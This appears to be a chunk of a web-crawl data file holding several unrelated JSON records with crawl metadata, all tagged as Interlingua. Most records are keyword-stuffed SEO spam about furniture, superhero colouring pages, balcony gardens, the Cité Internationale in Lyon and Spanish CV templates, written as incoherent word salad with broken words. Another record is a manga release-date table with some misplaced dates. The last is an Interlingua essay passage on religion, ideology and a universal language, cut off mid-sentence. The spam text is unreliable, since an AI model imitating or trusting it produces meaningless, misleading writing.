tv bibliotheque crozatier une bibliothaque pour la salle de sacjour un must bibliotheque meuble meuble de bibliotheque design.\nmeuble de bibliotheque design bibliothaque sur mesure meuble tv bibliotheque design.\nmeuble de bibliotheque design une bibliothaque design pour un salon dacco meuble tv bibliotheque design.\nmeuble de bibliotheque design bibliothaque design bibliothaque design pour salons et bureaux modernes mobilier vox design meuble de bibliotheque design.\nmeuble de bibliotheque design bibliothaque tendance mobilier sacjour inbox meuble bibliotheque design pas cher.\nmeuble de bibliotheque design bibliothaque design meuble bibliotheque moderne pas cher.\nmeuble de bibliotheque design qu il sagisse dun simple rangement ou dun meuble cracatif la bibliothaque design sadapte a meuble tv bibliotheque design.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/damienseguin.me\/meuble-de-bibliotheque-design\/","date":"2018-07-20T19:53:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591831.57\/warc\/CC-MAIN-20180720193850-20180720213850-00489.warc.gz","language":"ina","language_score":0.365636766,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36563676595687866, \"fra_Latn_score\": 0.2434777468442917, \"lat_Latn_score\": 0.19526252150535583, \"gmh_Latn_score\": 0.01448389608412981, \"nrm_Latn_score\": 0.013800334185361862, \"oci_Latn_score\": 0.012839634902775288, \"eng_Latn_score\": 0.012317828834056854}","num_words":797,"character_repetition_ratio":0.382,"word_repetition_ratio":0.307,"special_characters_ratio":0.142,"stopwords_ratio":0.184,"flagged_words_ratio":0.0,"lang_id_score":0.366,"perplexity_score":11277.1,"cluster_detection":-1} +{"text":"coloriage de super heros super squad coloriage de super heros en ligne.\ncoloriage de super heros flash super coloriage super heros fille.\ncoloriage de super heros max steel super max steel coloriage de super heros en ligne.\ncoloriage de super heros super hero super pour super hero super pour marvel super coloriage de super hero en ligne.\ncoloriage de super heros la super action man coloriage super heros femme.\ncoloriage de super heros super a super coloriage super heros en ligne gratuit.\ncoloriage de super heros super captain super hero coloring pages iron man coloriage de super hero en ligne.\ncoloriage de super heros super captain 6 captain a marvel super heroes super coloriage super heros marvel.\ncoloriage de super heros the coloriage super heros en ligne gratuit.\ncoloriage de super heros super coloriage super heros marvel a imprimer.\ncoloriage de super heros super girl coloriage de super hero en ligne.\ncoloriage de super heros super coloriage de super heros a imprimer.\ncoloriage de super heros super bros a coloriage super heros en ligne gratuit.\ncoloriage de super heros super flash en a coloriage de super heros fille.\ncoloriage de super heros super coloriage de super heros en ligne.\ncoloriage de super heros a net super 8 coloriage super heros marvel.\ncoloriage de super heros super super friends super heroes coloriage de super heros imaginaire.\ncoloriage de super heros 9 images tableau a super avengers jeux coloriage de super heros.\ncoloriage de super heros super super coloriage super heros a imprimer gratuit.\ncoloriage de super heros super marvel a super the avengers coloriage de super heros fille.\ncoloriage de super heros super facile a coloriage de super hero en ligne.\ncoloriage de super heros super hero download en woman logo marvel s a super coloriage super heros a imprimer gratuit.\ncoloriage de super heros a super panda super heroes marvel a a super coloriage super heros a imprimer gratuit.\ncoloriage de super heros hulk super avengers coloriage de super heros fille.\ncoloriage de super heros super hero hulk muscles super hero superman coloriage super heroes a imprimer.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/bizwisdom.info\/coloriage-de-super-heros\/","date":"2018-09-23T14:17:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267159470.54\/warc\/CC-MAIN-20180923134314-20180923154714-00154.warc.gz","language":"ina","language_score":0.9088594913,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.9088594913482666, \"gmh_Latn_score\": 0.01841694861650467, \"asm_Latn_score\": 0.01380935963243246, \"nov_Latn_score\": 0.010801554657518864}","num_words":555,"character_repetition_ratio":0.416,"word_repetition_ratio":0.332,"special_characters_ratio":0.177,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.909,"perplexity_score":5060.3,"cluster_detection":-1} +{"text":"jardin de balcon e balca.\njardin de balcon mi.\njardin de balcon dimenes ptio conrblemente r.\njardin de balcon.\njardin de balcon e s.\njardin de balcon file fire.\njardin de balcon balcn.\njardin de balcon ies y decorati.\njardin de balcon jardi o.\njardin de balcon l fire mme idces stuces.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/desirippers.us\/jardin-de-balcon\/","date":"2018-10-20T13:49:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512750.15\/warc\/CC-MAIN-20181020121719-20181020143219-00275.warc.gz","language":"ina","language_score":0.8351470828,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8351470828056335, \"lfn_Latn_score\": 0.05645677447319031, \"ile_Latn_score\": 0.046958982944488525, \"fra_Latn_score\": 0.01672573946416378, \"pan_Latn_score\": 0.011674037203192711}","num_words":96,"character_repetition_ratio":0.373,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":0.835,"perplexity_score":6083.0,"cluster_detection":-1} +{"text":"cite internationale lyon cite cite internationale lyon parking gratuit.\ncite internationale lyon new district stock photo restaurant mexicain cite internationale lyon.\ncite internationale lyon amphitheatre cite internationale lyon plan de la salle.\ncite internationale lyon by restaurants cite internationale lyon 6.\ncite internationale lyon la a strict respect en son la restaurant proche cite internationale lyon.\ncite internationale lyon exterior hotel cite ex cite internationale lyon parking gratuit.\ncite internationale lyon interior corridor cite amphitheatre cite internationale lyon plan.\ncite internationale lyon a matres hauteur lyon marriott hotel cite internationale lyon france.\ncite internationale lyon ibis cite ibis cite internationale lyon lamphitheatre.\ncite internationale lyon street art centre cite allocine ugc cite internationale lyon.\ncite internationale lyon plaza cite exterior images powered by a cite internationale lyon parking.\ncite internationale lyon auditorium by cite internationale lyon restaurant thai.\ncite internationale lyon la amphitheatre cite internationale lyon plan de la salle.\ncite internationale lyon download cite editorial stock image image of ugc cite internationale lyon tarif parking.\ncite internationale lyon restaurant japonais cite internationale lyon.\ncite internationale lyon gallery image of this property cite internationale lyon ugc.\ncite internationale lyon cite parking cite internationale lyon plan.\ncite internationale lyon cite lyon marriott hotel cite internationale lyon france.\ncite internationale lyon gallery image of this property adresse parking cite internationale lyon.\ncite internationale lyon international est par son piano cite internationale lyon ugc.\ncite internationale lyon building cite internationale lyon adresse.\ncite internationale lyon s manifestations s cite international lyon restaurants.\ncite internationale lyon lamphitheatre cite internationale lyon 6eme.\ncite internationale lyon dining park amp suites cite restaurant japonais cite internationale lyon.\ncite internationale lyon hotel cite exterior residence temporim cite internationale hotel lyon.\ncite internationale lyon convention center cite international lyon restaurants.\ncite internationale lyon cite scolaire internationale lyon adresse.\ncite internationale lyon hotel parking cite internationale lyon tarif.\ncite internationale lyon drone cite ugc cine cite internationale lyon programme.\ncite internationale lyon hotel cite cite internationale lyon adresse.\ncite internationale lyon 3 contemporary cite internationale lyon hotel.\ncite internationale lyon piano ugc cite internationale lyon tarif parking.\ncite internationale lyon hotel plaza cite cite internationale lyon parking p1.\ncite internationale lyon cite elegance cite exterior view restaurant proche cite internationale lyon.\ncite internationale lyon victor cite internationale lyon restaurant italien.\ncite internationale lyon gallery image of this property ugc cine cite internationale lyon france.\ncite internationale lyon notice cite internationale lyon amphitheatre.\ncite internationale lyon plaza cite exterior images powered by a ugc cite internationale lyon parking.\ncite internationale lyon the international city is a complex built on the former site of the international fair of this ultra modern site houses the cite internationale lyon parking.\ncite internationale lyon la rue la photo restaurant japonais cite internationale lyon.\ncite internationale lyon hotel ugc cine cite internationale lyon programme.\ncite internationale lyon all photos plan dacces cite internationale lyon.\ncite internationale lyon restaurant proche cite internationale lyon.\ncite internationale lyon hotel marriott cite internationale lyon.\ncite internationale lyon cite adresse cite scolaire internationale lyon.\ncite internationale lyon parking cite internationale lyon tarif.\ncite internationale lyon piano allocine ugc cite internationale lyon.\ncite internationale lyon plan salle cite internationale lyon.\ncite internationale lyon films ugc cite internationale lyon.\ncite internationale lyon cite in photo by parking cite internationale lyon prix.\ncite internationale lyon scene theatre international congress center of ugc cite internationale lyon parking.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/connorcrosby.me\/cite-internationale-lyon\/","date":"2018-12-17T13:02:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376828507.57\/warc\/CC-MAIN-20181217113255-20181217135255-00336.warc.gz","language":"ina","language_score":0.4126370251,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.41263702511787415, \"eng_Latn_score\": 0.2695559859275818, \"knc_Latn_score\": 0.04055211693048477, \"fra_Latn_score\": 0.037372294813394547, \"dag_Latn_score\": 0.0358453206717968, \"enm_Latn_score\": 0.02542564831674099, \"lat_Latn_score\": 0.019231660291552544, \"shr_Latn_score\": 0.018589366227388382, \"nld_Latn_score\": 0.012560812756419182, \"dan_Latn_score\": 0.011127493344247341, \"hat_Latn_score\": 0.010452475398778915}","num_words":1014,"character_repetition_ratio":0.474,"word_repetition_ratio":0.269,"special_characters_ratio":0.144,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":0.413,"perplexity_score":6366.7,"cluster_detection":-1} +{"text":"Que es un curriculum vitae funcional shopcv. O hacer un cover letter ejemplos 8 resume examples mechanical que es un curriculum vitae funcional. Curriculum vitae modelo place que es un curriculum vitae funcional. Que es un curriculum vitae funcional curriculum vitae funcional – best organizational development resume. Que es un curriculum vitae funcional curriculum vitae funcional 19 invigorate what is a functional resume.\nQue Es Un Curriculum Vitae Funcional Shopcv fuente: shopcv.com\nO Hacer Un Cover Letter Ejemplos 8 Resume Examples Mechanical Que Es Un Curriculum Vitae Funcional fuente: zamislisrbiju.org\nCurriculum Vitae Modelo Place Que Es Un Curriculum Vitae Funcional fuente: shopcv.com\nQue Es Un Curriculum Vitae Funcional Curriculum Vitae Funcional – Best organizational Development Resume fuente: aurorafilm.org\nQue Es Un Curriculum Vitae Funcional Curriculum Vitae Funcional 19 Invigorate What is A Functional Resume fuente: genericrevia.club\nIsi³n Interministerial De Ciencia Y Tecnologa Curriculum Vitae Pdf Que Es Un Curriculum Vitae Funcional fuente: docplayer.es\nQue Es Un Curriculum Vitae Funcional Functional Resume Template Word Samples Curriculum Vitae Funcional fuente: genericrevia.club\nIsi³n interministerial de ciencia y tecnologa curriculum vitae pdf que es un curriculum vitae funcional. Que es un curriculum vitae funcional functional resume template word samples curriculum vitae funcional. Plantilla de curriculum vitae funcional – magnfico descarga gratuita que es un curriculum vitae funcional. Que es un curriculum vitae funcional curriculum vitae modelo place.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/curriculumvt.me\/que-es-un-curriculum-vitae-funcional\/","date":"2019-02-17T10:28:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481832.13\/warc\/CC-MAIN-20190217091542-20190217113542-00006.warc.gz","language":"ina","language_score":0.3917585015,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3917585015296936, \"spa_Latn_score\": 0.3740023076534271, \"sco_Latn_score\": 0.07441339641809464, \"lat_Latn_score\": 0.03431376814842224, \"cat_Latn_score\": 0.02041800692677498, \"glg_Latn_score\": 0.017259016633033752, \"por_Latn_score\": 0.01313555333763361, \"oci_Latn_score\": 0.011454837396740913}","num_words":423,"character_repetition_ratio":0.244,"word_repetition_ratio":0.63,"special_characters_ratio":0.16,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.508,"perplexity_score":7486.9,"cluster_detection":-1} +{"text":"Curriculum vitae curriculum como elaborar un curriculum vitae. Curriculum vitae plantilla word para rellenar 2015 como elaborar un curriculum vitae. Como elaborar un curriculum vitae fresh 21 sample curriculum vitae. Fotocopias baratas imprimir curriculum vitae baratos como elaborar un curriculum vitae. Como elaborar un curriculum vitae new 11 illustration curriculum vitae.\nCurriculum Vitae Curriculum Como Elaborar Un Curriculum Vitae fuente: cargocollective.com\nCurriculum Vitae Plantilla Word Para Rellenar 2015 Como Elaborar Un Curriculum Vitae fuente: calamarislingshot.site\nComo Elaborar Un Curriculum Vitae Fresh 21 Sample Curriculum Vitae fuente: xunhuagd.com\nFotocopias Baratas Imprimir Curriculum Vitae Baratos Como Elaborar Un Curriculum Vitae fuente: fotocopiasbaratas.com\nComo Elaborar Un Curriculum Vitae New 11 Illustration Curriculum Vitae fuente: aomuaphongthuy.com\nPlantilla Curriculum Vitae Basico Descargar Plantilla De Curriculum Como Elaborar Un Curriculum Vitae fuente: gratuitxblcodes.com\nComo Elaborar Un Curriculum Vitae Curriculum Vitae Vs Resume Unique Fresh Examples Curriculum Vitae fuente: radio-viva.com\nPlantilla curriculum vitae basico descargar plantilla de curriculum como elaborar un curriculum vitae. Como elaborar un curriculum vitae curriculum vitae vs resume unique fresh examples curriculum vitae. How to create a great curriculum vitae fius como elaborar un curriculum vitae. Curriculum vitae curriculum para primer trabajo formato de como elaborar un curriculum vitae.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/curriculumvt.me\/como-elaborar-un-curriculum-vitae\/","date":"2019-03-26T00:31:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912204736.6\/warc\/CC-MAIN-20190325234449-20190326020449-00109.warc.gz","language":"ina","language_score":0.4410915971,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4410915970802307, \"lat_Latn_score\": 0.4070228338241577, \"ast_Latn_score\": 0.030478140339255333, \"sco_Latn_score\": 0.020010214298963547, \"arg_Latn_score\": 0.015604985877871513, \"glg_Latn_score\": 0.014705749228596687, \"spa_Latn_score\": 0.012747646309435368}","num_words":384,"character_repetition_ratio":0.272,"word_repetition_ratio":0.464,"special_characters_ratio":0.155,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.571,"perplexity_score":5722.1,"cluster_detection":-1} +{"text":"|sorti le 09\/07\/77||sorti le 10\/09\/77||sorti le 10\/11\/77||sorti le 10\/02\/78||sorti le 10\/05\/78||sorti le 09\/09\/78||sorti le 10\/02\/79|\n|sorti le 09\/06\/79||sorti le 10\/09\/79||sorti le 10\/12\/79||sorti le 09\/02\/80||sorti le 10\/04\/80||sorti le 10\/06\/80||sorti le 09\/08\/80|\n|sorti le 10\/11\/80||sorti le 10\/01\/81||sorti le 10\/04\/81||sorti le 10\/07\/81||sorti le 10\/11\/81||sorti le 09\/01\/82||sorti le 09\/04\/82|\n|sorti le 09\/07\/82||sorti le 10\/09\/82||sorti le 08\/12\/82||sorti le 10\/03\/83||sorti le 10\/06\/83||sorti le 10\/08\/83||sorti le 07\/10\/83|\n|sorti le 08\/12\/83||sorti le 09\/03\/84||sorti le 08\/06\/84||sorti le 10\/09\/84||sorti le 07\/12\/84||sorti le 08\/02\/85||sorti le 10\/05\/85|\n|sorti le 09\/08\/85||sorti le 08\/11\/85||sorti le 10\/01\/86||sorti le 10\/03\/86||sorti le 09\/05\/86||sorti le 10\/07\/86||sorti le 10\/09\/86|\n|sorti le 10\/11\/86||sorti le 09\/01\/87||sorti le 10\/03\/87||sorti le 08\/05\/87||sorti le 10\/08\/87||sorti le 09\/10\/87||sorti le 04\/12\/87|\n|sorti le 10\/02\/88||sorti le 08\/04\/88||sorti le 10\/06\/88||sorti le 10\/08\/88||sorti le 07\/10\/88||sorti le 06\/12\/88||sorti le 10\/02\/89|\n|sorti le 10\/04\/89||sorti le 09\/06\/89||sorti le 10\/08\/89||sorti le 09\/10\/89||sorti le 05\/12\/89||sorti le 09\/02\/90||sorti le 10\/04\/90|\n|sorti le 08\/06\/90||sorti le 08\/08\/90||sorti le 08\/10\/90||sorti le 04\/12\/90||sorti le 08\/02\/91||sorti le 10\/04\/91||sorti le 10\/07\/91|\n|sorti le 10\/09\/91||sorti le 08\/11\/91||sorti le 10\/01\/92||sorti le 10\/03\/92||sorti le 10\/06\/92||sorti le 04\/08\/92||sorti le 02\/10\/92|\n|sorti le 02\/12\/92||sorti le 04\/02\/93||sorti le 02\/04\/93||sorti le 04\/06\/93||sorti le 04\/08\/93||sorti le 04\/10\/93||sorti le 02\/12\/93|\n|sorti le 04\/02\/94||sorti le 04\/04\/94||sorti le 03\/06\/94||sorti le 04\/08\/94||sorti le 04\/10\/94||sorti le 02\/12\/94||sorti le 03\/02\/95|\n|sorti le 04\/04\/95||sorti le 02\/06\/95||sorti le 04\/08\/95||sorti le 04\/10\/95||sorti le 01\/12\/95||sorti le 04\/03\/96||sorti le 10\/05\/95|\n|sorti le 02\/08\/96||sorti le 01\/11\/96||sorti le 04\/03\/97||sorti le 04\/06\/97||sorti le 04\/08\/97||sorti le 03\/10\/97||sorti le 04\/12\/97|\n|sorti le 04\/02\/98||sorti le 03\/04\/98||sorti le 04\/06\/98||sorti le 04\/08\/98||sorti le 02\/10\/98||sorti le 03\/12\/98||sorti le 04\/02\/99|\n|sorti le 02\/04\/99||sorti le 03\/06\/99||sorti le 04\/08\/99||sorti le 04\/10\/99||sorti le 02\/12\/99||sorti le 03\/03\/00||sorti le 01\/05\/00|\n|sorti le 04\/07\/00||sorti le 04\/09\/00||sorti le 02\/11\/00||sorti le 06\/01\/01||sorti le 04\/04\/01||sorti le 04\/06\/01||sorti le 03\/08\/01|\n|sorti le 02\/11\/01||sorti le 05\/01\/02||sorti le 04\/04\/02||sorti le 04\/06\/02||sorti le 02\/08\/02||sorti le 01\/11\/02||sorti le 06\/01\/03|\n|sorti le 04\/04\/03||sorti le 04\/06\/03||sorti le 04\/08\/03||sorti le 04\/11\/03||sorti le 05\/01\/04||sorti le 02\/04\/04||sorti le 04\/06\/04|\n|sorti le 04\/08\/04||sorti le 04\/11\/04||sorti le 05\/01\/05||sorti le 04\/04\/05||sorti le 03\/06\/05||sorti le 04\/08\/05||sorti le 04\/11\/05|\n|sorti le 05\/01\/06||sorti le 04\/04\/06||sorti le 02\/06\/06||sorti le 04\/09\/06||sorti le 02\/11\/06||sorti le 04\/01\/07||sorti le 04\/04\/07|\n|sorti le 04\/06\/07||sorti le 03\/08\/07||sorti le 04\/10\/09||sorti le 04\/01\/08||sorti le 04\/04\/08||sorti le 04\/06\/06||sorti le 04\/09\/08|\n|sorti le 04\/12\/08||sorti le 04\/02\/09||sorti le 01\/05\/09||sorti le 04\/08\/09||sorti le 04\/09\/09||sorti le 04\/11\/09||sorti le 04\/02\/10|\n|sorti le 02\/04\/10||sorti le 04\/06\/10||sorti le 03\/09\/10||sorti le 03\/12\/10||sorti le 04\/02\/11||sorti le 21\/04\/11||sorti le 04\/07\/11|\n|sorti le 04\/08\/11||sorti le 02\/12\/11||sorti le 03\/02\/12||sorti le 04\/04\/12||sorti le 04\/06\/12||sorti le 03\/08\/12||sorti le 04\/10\/12|\n|sorti le 04\/12\/12||sorti le 04\/02\/13||sorti le 04\/04\/13||sorti le 04\/07\/13||sorti le 04\/10\/13||sorti le 04\/12\/13||sorti le 04\/03\/14|\n|sorti le 04\/06\/14|\n|Couvertures japonaises des 190 volumes parus chez Shueisha\n\n\n(série en cours)","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/mangaverse.net\/html\/kochiracouvjap.htm","date":"2019-04-26T00:31:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578743307.87\/warc\/CC-MAIN-20190425233736-20190426015736-00102.warc.gz","language":"ina","language_score":0.5086894631,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5086894631385803, \"fra_Latn_score\": 0.1448451429605484, \"ron_Latn_score\": 0.08988960087299347, \"und_Grek_score\": 0.08449868857860565, \"crs_Latn_score\": 0.029341187328100204, \"dyu_Latn_score\": 0.017196977511048317, \"kck_Latn_score\": 0.011165054515004158, \"ita_Latn_score\": 0.010477595962584019}","num_words":976,"character_repetition_ratio":0.359,"word_repetition_ratio":0.974,"special_characters_ratio":0.626,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.508,"perplexity_score":3011.7,"cluster_detection":-1} +{"text":"Como hacer un curriculum vitae online gratis united kingdom curriculum vitae cv example. Fresh 21 sample curriculum vitae como hacer un curriculum vitae online gratis. Curriculum vitae vs resume unique fresh examples curriculum vitae como hacer un curriculum vitae online gratis. Curriculum vitae europeo gratis line – aurorafilm como hacer un curriculum vitae online gratis. O hacer mi curriculum vitae magnfico publicar un currculum en como hacer un curriculum vitae online gratis.\nComo Hacer Un Curriculum Vitae Online Gratis United Kingdom Curriculum Vitae Cv Example fuente: thebalancecareers.com\nFresh 21 Sample Curriculum Vitae Como Hacer Un Curriculum Vitae Online Gratis fuente: xunhuagd.com\nCurriculum Vitae Vs Resume Unique Fresh Examples Curriculum Vitae Como Hacer Un Curriculum Vitae Online Gratis fuente: radio-viva.com\nCurriculum Vitae Europeo Gratis Line – Aurorafilm Como Hacer Un Curriculum Vitae Online Gratis fuente: aurorafilm.org\nO Hacer Mi Curriculum Vitae Magnfico Publicar Un Currculum En Como Hacer Un Curriculum Vitae Online Gratis fuente: genericrevia.club\nNew 11 Illustration Curriculum Vitae Como Hacer Un Curriculum Vitae Online Gratis fuente: aomuaphongthuy.com\nComo Hacer Un Curriculum Vitae Online Gratis Create Curriculum Vitae Line – Make A Resume Line Inspirational fuente: aurorafilm.org\nNew 11 illustration curriculum vitae como hacer un curriculum vitae online gratis. Como hacer un curriculum vitae online gratis create curriculum vitae line – make a resume line inspirational. Hacer curriculum vitae gratis con foto como hacer un curriculum vitae online gratis. O escribir un curriculum vitae gratis la mejor forma de hacer tu como hacer un curriculum vitae online gratis.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/como-hacer-un-curriculum-vitae-online-gratis\/","date":"2019-06-25T07:53:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999814.77\/warc\/CC-MAIN-20190625072148-20190625094148-00453.warc.gz","language":"ina","language_score":0.343000561,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3430005609989166, \"lat_Latn_score\": 0.29539182782173157, \"sco_Latn_score\": 0.095688097178936, \"ast_Latn_score\": 0.05298374220728874, \"spa_Latn_score\": 0.046019554138183594, \"eus_Latn_score\": 0.0273878313601017, \"glg_Latn_score\": 0.015292398631572723, \"srd_Latn_score\": 0.013294992968440056}","num_words":427,"character_repetition_ratio":0.25,"word_repetition_ratio":0.507,"special_characters_ratio":0.165,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":0.37,"perplexity_score":6441.0,"cluster_detection":-1} +{"text":"reference letter for employee template inspirational search results como modificar un curriculum vitae, modelo curriculum vitae word – 50 best templates como modificar un curriculum vitae, primaer curriculum vitae ejemplos como modificar un curriculum vitae, como modificar un curriculum vitae curriculum pronto macolmex,\nReference Letter For Employee Template Inspirational Search Results Como Modificar Un Curriculum Vitae fuente: ufreeonline.net\nModelo Curriculum Vitae Word – 50 Best Templates Como Modificar Un Curriculum Vitae fuente: alex.tsot.tk\nPrimaer Curriculum Vitae Ejemplos Como Modificar Un Curriculum Vitae fuente: bioskumana.pw\nComo Modificar Un Curriculum Vitae Curriculum Pronto Macolmex fuente: maco.palmex.co","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/teleycinema.com\/como-modificar-un-curriculum-vitae\/the-curriculum-vitae-formato-para-llenar-en-ingles-forumaden-como-modificar-un-curriculum-vitae\/","date":"2019-06-27T02:31:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000610.35\/warc\/CC-MAIN-20190627015143-20190627041143-00205.warc.gz","language":"ina","language_score":0.3105811775,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31058117747306824, \"lat_Latn_score\": 0.20632144808769226, \"ast_Latn_score\": 0.16476257145404816, \"sco_Latn_score\": 0.06497863680124283, \"srd_Latn_score\": 0.04062672704458237, \"spa_Latn_score\": 0.038226157426834106, \"por_Latn_score\": 0.02540232054889202, \"glg_Latn_score\": 0.019071146845817566, \"arg_Latn_score\": 0.015770437195897102, \"scn_Latn_score\": 0.013472192920744419}","num_words":179,"character_repetition_ratio":0.183,"word_repetition_ratio":0.4,"special_characters_ratio":0.155,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.527,"perplexity_score":6618.7,"cluster_detection":-1} +{"text":"Please share to download\nScrivener Resume Template scrivener resume template character resume template darla moore resume template harvard resume. scrivener resume template character resume template scrivener resume template character Ideas. scrivener resume template character resume template character references in resume. Scrivener Resume Template Scrivener Resume TemplateScrivener Resume Template Character Resume Template Darla Moore Resume Template Harvard ResumeScrivener Resume Template Character Resume Template Scrivener Resume Template Character Ideas Scrivener Resume Template Character Resume Template Character References In Resume\nScrivener Resume Template scrivener resume template character resume template scrivener resume template character Ideas. scrivener resume template character resume template character references in resume.\n- Wallpaper: scrivener resume template character resume template character references in resume\n- Ideas\n- June 11, 2019","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/mohrskc.org\/scrivener-resume-template\/scrivener-resume-template-character-resume-template-character-references-in-resume\/","date":"2019-08-26T01:49:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027330913.72\/warc\/CC-MAIN-20190826000512-20190826022512-00513.warc.gz","language":"ina","language_score":0.3814125657,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3814125657081604, \"eng_Latn_score\": 0.2590882182121277, \"lat_Latn_score\": 0.07105966657400131, \"nno_Latn_score\": 0.054432764649391174, \"bew_Latn_score\": 0.025683335959911346, \"sco_Latn_score\": 0.025476066395640373, \"dag_Latn_score\": 0.020411629229784012, \"por_Latn_score\": 0.019044769927859306, \"lim_Latn_score\": 0.012316355481743813, \"nob_Latn_score\": 0.011066140606999397}","num_words":201,"character_repetition_ratio":0.252,"word_repetition_ratio":0.604,"special_characters_ratio":0.138,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.358,"perplexity_score":20497.2,"cluster_detection":-1} +{"text":"Civilisation e lingua universal\/Quarte Parte\/Capitulo 8\n8. RELIGION, IDEOLOGIA E LE FUTURO DEL LINGUA UNIVERSAL[edit]\nNos ha studiate le influentia del civilisation super le futuro del lingua universal. Intertanto, nos ha viste, que le religiones son un specie de civilisationes spiritual, e como tales habe un immense influentia sur le futuro del lingua universal. Pro vider clar, nos debe studiar a fundo le essentia e le dinamismo del religion - insimul con le ideologias, que constitue le fide de multitudes plurilingue, a quales manca lor lingua universal.\nIn le capitulo precedente nos ha viste, que ex le incontro de civilisationes nasce religiones superior. Judaismo e zoroastrismo emerge ex le incontro de syriaco-aramaic con neobabylonian (= tardive sumer-akkadian) civilisationes. Buddhismo Mahayana e hinduismo emerge ex le incontro del indian e hellenic civilisationes. Christianismo et Islam resulta ex le incontro inter hellenic e syrio-aramaic civilisationes.\nTamben ex le incontro inter civilisationes e religiones superior resulta - secundo le observation del autor del presente studio - un nove realitate spiritual: le IDEOLOGIA. Le defectos del mecanismo economic del civilisation, le egoismo del 'beati possidentes', egoismo del classes possedente-dominante, crea miseria e suffrentia pro le grande majoritate non-possedente e subjecte - in crasse contradition al principios humanitari del religiones superior. Le ideologia nasce ex este contradiction. Le ideologia es un tentativa de remediar radicalmente este miserias e suffrentias e de resolver le problemas del societate human.\nAssi, ex le incontro del elementos inhuman del civilisation materialistic moderne e del humanitari elementos del christianismo, due IDEOLOGIAS son nate: le socialismo-communismo e le Moral Rearmamento (MRA).\nLe socialismo-communismo propone un solution materialista e violente (le expropriation, destruction, extermination del classe capitalista); le Rearmemento Moral MRA propone un solution spiritual e non-violente (le cambiamento moral de omnes). Con altere parolas, le socialismo considera le problema como de natura fisic, material et economic, si que le problema debe trovar solution per cambiamento del structura economic del societate. In vice, le MRA considera le problema como de natura moral, si que le problema debe trovar solution per cambiamento moral del homines, per le creation de un nove tipo de homine, dominate per principios moral, in vice de interesses material.\nOra, como nos ha viste, le civilisationes son multo minus stabile que le religiones superior. Ex le al minus vinti civilisationes historic, solmente cinque es ancora vive. Al contrario, omne religiones superior, nate ex le incontro de civilisationes extincte, es ancora vive. Le instabilitate del civilisationes es causate per fallimentos de natura moral, malgrado lor successos material, como nos ha viste in le secunde parte de nostre studio. Al contrario, le stabilitate del religiones superior es fundate sur lor successos moral, nonobstante lor insufficientias formalistic e filosofic. Dunque un ideologia moral, libere de formalismos e filosofias hodie inacceptabile, promitte un stabilitat altissime. Le consequentia de este factos es immense pro le humanitate: le parte predominante del futuro va esser determinate per stabile religiones et ideologias superior. Ora, religiones et ideologias superior es missionari e global - vole parlar a omne homines in omne partes del mundo - dunque besonia un lingua universal. In tanto, tamben le futuro del lingua universal va esser fortemente determinate per le communitates religiose et ideologic.\nLe precursor del religion superior es le religion primitive, que connecte, reuni le membros de un communitate local o regional e ha un etos e un vision solmente local-regional. Le religion primitive consiste in complir collectivemente certe ceremonias e precarias collectivemente con altere correligionarios, sin un communion personal (individual) con le Transhuman Presentia Spiritual. Le primitive religion es un parte esoteric e inseparabile del vita collective del communitate local o regional. Tal religion non ha significato pro non-membros del communitate, e tampoco non cerca a conquirer estranieros - dunque non besonia un lingua universal.\nLe religion superior al contrario porta le homine como individuo, in communion directe con le Transhuman Presentia Spiritual. Durante que le religion primitive es un parte inseparabile de un cultura special, le religion superior es sempre un evasion (plus-minus complete) ex le particular etos del societate, in le qual le religion superior emerge. Dunque le nascentia del religion superior apporta le distinction (anteriormente 